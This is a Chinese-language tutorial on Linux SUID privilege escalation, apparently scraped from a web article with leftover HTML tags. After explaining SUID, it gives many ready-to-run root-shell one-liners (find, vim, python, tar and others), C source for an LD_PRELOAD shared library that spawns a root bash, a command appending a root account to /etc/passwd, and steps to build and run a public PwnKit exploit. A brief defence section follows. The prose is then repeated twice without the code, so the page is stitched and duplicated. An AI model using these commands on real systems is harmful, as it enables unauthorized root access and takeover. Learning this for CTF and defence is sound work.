Linux SUID提权：从内核原理到实战利用<\/h1>

一、Linux权限系统基础<\/h2>

1.1 文件权限模型<\/h3>
Linux采用基于用户和组的权限控制系统，每个文件都有所有者、所属组和其他用户三个权限级别，分别对应读(r)、写(w)、执行(x)权限。<\/p>

1.2 进程的权限继承机制<\/h3>
进程运行时继承启动该进程的用户权限，普通用户启动的进程只能执行该用户权限范围内的操作。<\/p>

1.3 SUID的特殊机制<\/h3>
SUID（Set User ID）是Linux中的特殊权限位，当设置在可执行文件上时，任何用户执行该文件都将以文件所有者的权限运行，而非执行者自身的权限。<\/p>

1.4 为什么需要SUID？<\/h3>
系统管理需要：如passwd命令需要修改\/etc\/shadow文件，但该文件普通用户无写权限，通过SUID机制让普通用户临时获得root权限完成密码修改。<\/p>

1.5 相关的特殊权限位<\/h3>

SGID (Set Group ID)<\/h4>
与SUID类似，但继承的是文件所属组的权限。当设置在目录上时，在该目录下创建的文件将继承目录的组身份。<\/p>

Sticky Bit<\/h4>
设置在目录上，确保只有文件所有者、目录所有者或root用户才能删除目录中的文件。<\/p>

1.6 赋予SUID权限操作<\/h3>

# 添加SUID权限<\/span>
<\/span><\/span>chmod u+s filename
<\/span><\/span>chmod 4755<\/span> filename
<\/span><\/span>
<\/span><\/span># 查看SUID权限（显示为rws而非rwx）<\/span>
<\/span><\/span>ls -l \/usr\/bin\/passwd
<\/span><\/span>-rwsr-xr-x 1<\/span> root root 59976<\/span> Nov 24<\/span> 2022<\/span> \/usr\/bin\/passwd
<\/span><\/span><\/code><\/pre>二、SUID的工作原理深入<\/h2>
2.1 内核层面的实现<\/h3>
当进程执行SUID文件时，内核的execve()系统调用会检查文件的SUID位，如果设置，则将进程的有效用户ID（euid）设置为文件所有者的UID。<\/p>
2.2 安全机制：SUID的几个限制<\/h3>

脚本文件设置SUID无效（出于安全考虑）<\/li>
SUID对shell脚本不起作用<\/li>
现代系统对SUID有额外的安全限制<\/li>
<\/ul>
三、SUID提权的攻击面<\/h2>
3.1 攻击原理总览<\/h3>
攻击者寻找系统中具有SUID权限的可执行文件，利用这些文件的漏洞或功能特性来提升权限。<\/p>
3.2 寻找SUID文件的方法<\/h3>
# 查找所有SUID文件<\/span>
<\/span><\/span>find \/ -perm -4000 2>\/dev\/null
<\/span><\/span>
<\/span><\/span># 查找root拥有的SUID文件<\/span>
<\/span><\/span>find \/ -user root -perm -4000 2>\/dev\/null
<\/span><\/span>
<\/span><\/span># 详细列出SUID文件<\/span>
<\/span><\/span>find \/ -perm -4000 -exec ls -ldb {}<\/span> \;<\/span> 2>\/dev\/null
<\/span><\/span><\/code><\/pre>四、SUID提权实战方法<\/h2>
4.1 GTFOBins：Shell逃逸<\/h3>
GTFOBins收集了大量可用于权限提升的二进制文件利用方法。<\/p>
4.1.1 find命令<\/h4>
# 利用find命令执行shell<\/span>
<\/span><\/span>find . -exec \/bin\/sh -p \;<\/span> -quit
<\/span><\/span>
<\/span><\/span># 通过权限检查的find提权<\/span>
<\/span><\/span>find \/ -type f -name "test"<\/span> -exec whoami \;<\/span>
<\/span><\/span><\/code><\/pre>4.1.2 vim\/vi\/nano<\/h4>
# vim提权<\/span>
<\/span><\/span>vim -c ':py import os; os.execl("\/bin\/sh", "sh", "-p")'<\/span>
<\/span><\/span>
<\/span><\/span># 通过vim执行命令<\/span>
<\/span><\/span>vim -c ':!bash'<\/span>
<\/span><\/span><\/code><\/pre>4.1.3 less\/more<\/h4>
# less提权<\/span>
<\/span><\/span>less \/etc\/passwd
<\/span><\/span>!bash
<\/span><\/span>
<\/span><\/span># more提权（支持同样的功能）<\/span>
<\/span><\/span>more \/etc\/passwd
<\/span><\/span>!bash
<\/span><\/span><\/code><\/pre>4.1.4 bash\/dash<\/h4>
# 如果bash有SUID权限<\/span>
<\/span><\/span>bash -p
<\/span><\/span>
<\/span><\/span># dash提权<\/span>
<\/span><\/span>dash -p
<\/span><\/span><\/code><\/pre>4.1.5 编程语言解释器<\/h4>
# Python提权<\/span>
<\/span><\/span>python -<\/span>c 'import os; os.setuid(0); os.system("\/bin\/bash")'<\/span>
<\/span><\/span>
<\/span><\/span># Perl提权<\/span>
<\/span><\/span>perl -<\/span>e 'use POSIX qw(setuid); POSIX::setuid(0); exec "\/bin\/sh";'<\/span>
<\/span><\/span>
<\/span><\/span># Node.js提权<\/span>
<\/span><\/span>node -<\/span>e 'process.setuid(0); require("child_process").spawn("\/bin\/sh", {stdio: [0, 1, 2]});'<\/span>
<\/span><\/span><\/code><\/pre>4.1.6 awk<\/h4>
# awk执行系统命令<\/span>
<\/span><\/span>awk 'BEGIN {system("\/bin\/bash")}'<\/span>
<\/span><\/span><\/code><\/pre>4.1.7 base64<\/h4>
# 通过base64读取敏感文件<\/span>
<\/span><\/span>base64 \/etc\/shadow | base64 -d
<\/span><\/span><\/code><\/pre>4.1.8 sed<\/h4>
# sed执行命令<\/span>
<\/span><\/span>sed -n '1e exec sh 1>&0'<\/span> \/etc\/passwd
<\/span><\/span><\/code><\/pre>4.1.9 tar<\/h4>
# 利用tar执行命令<\/span>
<\/span><\/span>tar -cf \/dev\/null \/dev\/null --checkpoint=<\/span>1<\/span> --checkpoint-action=<\/span>exec=<\/span>\/bin\/sh
<\/span><\/span><\/code><\/pre>4.1.10 nmap<\/h4>
# 老版本nmap交互模式<\/span>
<\/span><\/span>nmap --interactive
<\/span><\/span>nmap> !sh
<\/span><\/span><\/code><\/pre>4.2 环境变量劫持<\/h3>
4.2.1 基本原理<\/h4>
利用SUID程序加载动态库时的搜索路径机制，通过控制LD_PRELOAD或LD_LIBRARY_PATH环境变量劫持库函数。<\/p>
4.2.2 利用步骤<\/h4>
\/\/ 1. 创建恶意动态库
<\/span><\/span><\/span>\/\/ shell.c
<\/span><\/span><\/span><\/span>#include<\/span> <stdio.h><\/span>
<\/span><\/span><\/span>#include<\/span> <sys\/types.h><\/span>
<\/span><\/span><\/span>#include<\/span> <unistd.h><\/span>
<\/span><\/span><\/span><\/span>
<\/span><\/span>void<\/span> _init<\/span>() {
<\/span><\/span>    unsetenv("LD_PRELOAD"<\/span>);
<\/span><\/span>    setreuid(0<\/span>,0<\/span>);
<\/span><\/span>    system("\/bin\/bash"<\/span>);
<\/span><\/span>}
<\/span><\/span><\/code><\/pre># 2. 编译为共享库<\/span>
<\/span><\/span>gcc -fPIC -shared -o shell.so shell.c -nostartfiles
<\/span><\/span>
<\/span><\/span># 3. 通过LD_PRELOAD加载<\/span>
<\/span><\/span>LD_PRELOAD=<\/span>\/tmp\/shell.so <suid_program>
<\/span><\/span><\/code><\/pre>4.2.3 劫持函数<\/h4>
针对特定函数进行劫持，如strcpy()、system()等常用函数。<\/p>
4.2.4 更多可劫持的环境变量<\/h4>

LD_LIBRARY_PATH：库文件搜索路径<\/li>
PATH：可执行文件搜索路径<\/li>
IFS：内部字段分隔符<\/li>
<\/ul>
4.3 文件操作利用<\/h3>
4.3.1 cp\/mv覆盖\/etc\/passwd<\/h4>
# 创建具有root权限的用户<\/span>
<\/span><\/span>echo "root2:AK24fSqA4mW4I:0:0:root:\/root:\/bin\/bash"<\/span> >> \/tmp\/passwd
<\/span><\/span>cp \/tmp\/passwd \/etc\/passwd
<\/span><\/span><\/code><\/pre>4.3.2 直接修改\/etc\/shadow（高危）<\/h4>
需要具有写权限的SUID程序，如通过vim、nano等编辑器。<\/p>
4.3.3 读取敏感文件<\/h4>
利用具有SUID权限的文件读取工具访问敏感信息。<\/p>
4.3.4 sudoers文件<\/h4>
通过修改\/etc\/sudoers文件为自己添加sudo权限。<\/p>
4.4 CVE漏洞利用<\/h3>
CVE-2021-4034 (PwnKit)<\/h4>
Polkit中的本地权限提升漏洞，允许非特权用户获得root权限。<\/p>
例题<\/h5>
# 利用PwnKit提权<\/span>
<\/span><\/span>git clone https:\/\/github.com\/berdav\/CVE-2021-4034
<\/span><\/span>cd CVE-2021-4034
<\/span><\/span>make
<\/span><\/span>.\/cve-2021-4034
<\/span><\/span><\/code><\/pre>其他常见SUID相关CVE<\/h4>

CVE-2021-3156：Sudo权限提升漏洞<\/li>
CVE-2019-14287：Sudo配置绕过<\/li>
CVE-2019-7304：Snapd权限提升<\/li>
<\/ul>
4.5 其他利用技巧<\/h3>
4.5.1 strace\/ltrace调试<\/h4>
通过调试工具分析SUID程序的执行流程，发现漏洞点。<\/p>
4.5.2 逆向工程<\/h4>
对SUID二进制文件进行反汇编分析，寻找逻辑漏洞。<\/p>
4.5.3 符号链接劫持<\/h4>
通过符号链接欺骗SUID程序访问非预期文件。<\/p>
4.5.4 竞态条件<\/h4>
利用TOCTOU（Time-of-Check-Time-of-Use）漏洞进行提权。<\/p>
五、CTF中的实战案例<\/h2>
5.1 案例1：基础SUID提权<\/h3>
发现系统中有SUID权限的find命令，直接利用-exec参数执行shell。<\/p>
5.2 案例2：环境变量劫持<\/h3>
SUID程序未正确清理环境变量，通过LD_PRELOAD注入恶意代码。<\/p>
5.3 案例3：PolarD&N（PwnKit）<\/h3>
利用Polkit漏洞实现从普通用户到root的权限提升。<\/p>
5.4 案例4：Vim编辑器提权<\/h3>
利用具有SUID权限的vim编辑器突破受限环境。<\/p>
六、防御与检测<\/h2>
6.1 防御措施<\/h3>

最小权限原则：仅为必要文件设置SUID权限<\/li>
定期审计：检查系统中的SUID文件<\/li>
使用扩展属性：如chattr +i防止修改<\/li>
安全编译选项：如PIE、RELRO、Stack Canaries<\/li>
<\/ul>
6.2 检测方法<\/h3>
# 定期扫描SUID文件<\/span>
<\/span><\/span>find \/ -perm -4000 -type f -exec ls -la {}<\/span> \;<\/span> > suid_audit.log
<\/span><\/span>
<\/span><\/span># 对比系统完整性<\/span>
<\/span><\/span>aide --check
<\/span><\/span><\/code><\/pre>6.3 安全编码实践<\/h3>

避免在SUID程序中使用system()、popen()等危险函数<\/li>
执行前重置环境变量<\/li>
实施正确的输入验证<\/li>
<\/ul>
七、进阶技巧<\/h2>
7.1 绕过受限shell<\/h3>
在受限环境中寻找可用的SUID程序突破限制。<\/p>
7.2 内核漏洞辅助SUID<\/h3>
结合内核漏洞增强SUID提权效果。<\/p>
7.3 自动化提权工具<\/h3>

LinPEAS：Linux权限提升审计脚本<\/li>
Linux Exploit Suggester：漏洞利用建议工具<\/li>
Unix-privesc-check：Unix权限提升检查工具<\/li>
<\/ul>
参考文章<\/h2>
基于先知社区技术文章《Linux SUID提权：从内核原理到实战利用》整理，涵盖了从基础概念到高级利用技术的完整知识体系。<\/p>

Linux SUID提权：从内核原理到实战利用<\/h1>

一、Linux权限系统基础<\/h2>

1.1 文件权限模型<\/h3> Linux采用基于用户和组的权限控制系统，每个文件都有所有者、所属组和其他用户三个权限级别，分别对应读(r)、写(w)、执行(x)权限。<\/p>

1.2 进程的权限继承机制<\/h3> 进程运行时继承启动该进程的用户权限，普通用户启动的进程只能执行该用户权限范围内的操作。<\/p>

1.3 SUID的特殊机制<\/h3> SUID（Set User ID）是Linux中的特殊权限位，当设置在可执行文件上时，任何用户执行该文件都将以文件所有者的权限运行，而非执行者自身的权限。<\/p>

1.4 为什么需要SUID？<\/h3> 系统管理需要：如passwd命令需要修改\/etc\/shadow文件，但该文件普通用户无写权限，通过SUID机制让普通用户临时获得root权限完成密码修改。<\/p>

1.5 相关的特殊权限位<\/h3>

SGID (Set Group ID)<\/h4> 与SUID类似，但继承的是文件所属组的权限。当设置在目录上时，在该目录下创建的文件将继承目录的组身份。<\/p>

Sticky Bit<\/h4> 设置在目录上，确保只有文件所有者、目录所有者或root用户才能删除目录中的文件。<\/p>

二、SUID的工作原理深入<\/h2>

2.1 内核层面的实现<\/h3> 当进程执行SUID文件时，内核的execve()系统调用会检查文件的SUID位，如果设置，则将进程的有效用户ID（euid）设置为文件所有者的UID。<\/p>

三、SUID提权的攻击面<\/h2>

3.1 攻击原理总览<\/h3> 攻击者寻找系统中具有SUID权限的可执行文件，利用这些文件的漏洞或功能特性来提升权限。<\/p>

四、SUID提权实战方法<\/h2>

4.1 GTFOBins：Shell逃逸<\/h3> GTFOBins收集了大量可用于权限提升的二进制文件利用方法。<\/p>

4.2 环境变量劫持<\/h3>

4.2.1 基本原理<\/h4> 利用SUID程序加载动态库时的搜索路径机制，通过控制LD_PRELOAD或LD_LIBRARY_PATH环境变量劫持库函数。<\/p>

4.2.3 劫持函数<\/h4> 针对特定函数进行劫持，如strcpy()、system()等常用函数。<\/p>

4.3 文件操作利用<\/h3>

4.3.2 直接修改\/etc\/shadow（高危）<\/h4> 需要具有写权限的SUID程序，如通过vim、nano等编辑器。<\/p>

4.3.3 读取敏感文件<\/h4> 利用具有SUID权限的文件读取工具访问敏感信息。<\/p>

4.3.4 sudoers文件<\/h4> 通过修改\/etc\/sudoers文件为自己添加sudo权限。<\/p>

4.4 CVE漏洞利用<\/h3>

CVE-2021-4034 (PwnKit)<\/h4> Polkit中的本地权限提升漏洞，允许非特权用户获得root权限。<\/p>

4.5 其他利用技巧<\/h3>

4.5.1 strace\/ltrace调试<\/h4> 通过调试工具分析SUID程序的执行流程，发现漏洞点。<\/p>

4.5.2 逆向工程<\/h4> 对SUID二进制文件进行反汇编分析，寻找逻辑漏洞。<\/p>

4.5.3 符号链接劫持<\/h4> 通过符号链接欺骗SUID程序访问非预期文件。<\/p>

4.5.4 竞态条件<\/h4> 利用TOCTOU（Time-of-Check-Time-of-Use）漏洞进行提权。<\/p>

五、CTF中的实战案例<\/h2>

5.1 案例1：基础SUID提权<\/h3> 发现系统中有SUID权限的find命令，直接利用-exec参数执行shell。<\/p>

5.2 案例2：环境变量劫持<\/h3> SUID程序未正确清理环境变量，通过LD_PRELOAD注入恶意代码。<\/p>

5.3 案例3：PolarD&N（PwnKit）<\/h3> 利用Polkit漏洞实现从普通用户到root的权限提升。<\/p>

5.4 案例4：Vim编辑器提权<\/h3> 利用具有SUID权限的vim编辑器突破受限环境。<\/p>

六、防御与检测<\/h2>

七、进阶技巧<\/h2>

7.1 绕过受限shell<\/h3> 在受限环境中寻找可用的SUID程序突破限制。<\/p>

7.2 内核漏洞辅助SUID<\/h3> 结合内核漏洞增强SUID提权效果。<\/p>

参考文章<\/h2> 基于先知社区技术文章《Linux SUID提权：从内核原理到实战利用》整理，涵盖了从基础概念到高级利用技术的完整知识体系。<\/p>

1.1 文件权限模型<\/h3>
Linux采用基于用户和组的权限控制系统，每个文件都有所有者、所属组和其他用户三个权限级别，分别对应读(r)、写(w)、执行(x)权限。<\/p>

1.2 进程的权限继承机制<\/h3>
进程运行时继承启动该进程的用户权限，普通用户启动的进程只能执行该用户权限范围内的操作。<\/p>

1.3 SUID的特殊机制<\/h3>
SUID（Set User ID）是Linux中的特殊权限位，当设置在可执行文件上时，任何用户执行该文件都将以文件所有者的权限运行，而非执行者自身的权限。<\/p>

1.4 为什么需要SUID？<\/h3>
系统管理需要：如passwd命令需要修改\/etc\/shadow文件，但该文件普通用户无写权限，通过SUID机制让普通用户临时获得root权限完成密码修改。<\/p>

SGID (Set Group ID)<\/h4>
与SUID类似，但继承的是文件所属组的权限。当设置在目录上时，在该目录下创建的文件将继承目录的组身份。<\/p>

Sticky Bit<\/h4>
设置在目录上，确保只有文件所有者、目录所有者或root用户才能删除目录中的文件。<\/p>

2.1 内核层面的实现<\/h3>
当进程执行SUID文件时，内核的execve()系统调用会检查文件的SUID位，如果设置，则将进程的有效用户ID（euid）设置为文件所有者的UID。<\/p>

3.1 攻击原理总览<\/h3>
攻击者寻找系统中具有SUID权限的可执行文件，利用这些文件的漏洞或功能特性来提升权限。<\/p>

4.1 GTFOBins：Shell逃逸<\/h3>
GTFOBins收集了大量可用于权限提升的二进制文件利用方法。<\/p>

4.2.1 基本原理<\/h4>
利用SUID程序加载动态库时的搜索路径机制，通过控制LD_PRELOAD或LD_LIBRARY_PATH环境变量劫持库函数。<\/p>

4.2.3 劫持函数<\/h4>
针对特定函数进行劫持，如strcpy()、system()等常用函数。<\/p>

4.3.2 直接修改\/etc\/shadow（高危）<\/h4>
需要具有写权限的SUID程序，如通过vim、nano等编辑器。<\/p>

4.3.3 读取敏感文件<\/h4>
利用具有SUID权限的文件读取工具访问敏感信息。<\/p>

4.3.4 sudoers文件<\/h4>
通过修改\/etc\/sudoers文件为自己添加sudo权限。<\/p>

CVE-2021-4034 (PwnKit)<\/h4>
Polkit中的本地权限提升漏洞，允许非特权用户获得root权限。<\/p>

4.5.1 strace\/ltrace调试<\/h4>
通过调试工具分析SUID程序的执行流程，发现漏洞点。<\/p>

4.5.2 逆向工程<\/h4>
对SUID二进制文件进行反汇编分析，寻找逻辑漏洞。<\/p>

4.5.3 符号链接劫持<\/h4>
通过符号链接欺骗SUID程序访问非预期文件。<\/p>

4.5.4 竞态条件<\/h4>
利用TOCTOU（Time-of-Check-Time-of-Use）漏洞进行提权。<\/p>

5.1 案例1：基础SUID提权<\/h3>
发现系统中有SUID权限的find命令，直接利用-exec参数执行shell。<\/p>

5.2 案例2：环境变量劫持<\/h3>
SUID程序未正确清理环境变量，通过LD_PRELOAD注入恶意代码。<\/p>

5.3 案例3：PolarD&N（PwnKit）<\/h3>
利用Polkit漏洞实现从普通用户到root的权限提升。<\/p>

5.4 案例4：Vim编辑器提权<\/h3>
利用具有SUID权限的vim编辑器突破受限环境。<\/p>

7.1 绕过受限shell<\/h3>
在受限环境中寻找可用的SUID程序突破限制。<\/p>

7.2 内核漏洞辅助SUID<\/h3>
结合内核漏洞增强SUID提权效果。<\/p>

参考文章<\/h2>
基于先知社区技术文章《Linux SUID提权：从内核原理到实战利用》整理，涵盖了从基础概念到高级利用技术的完整知识体系。<\/p>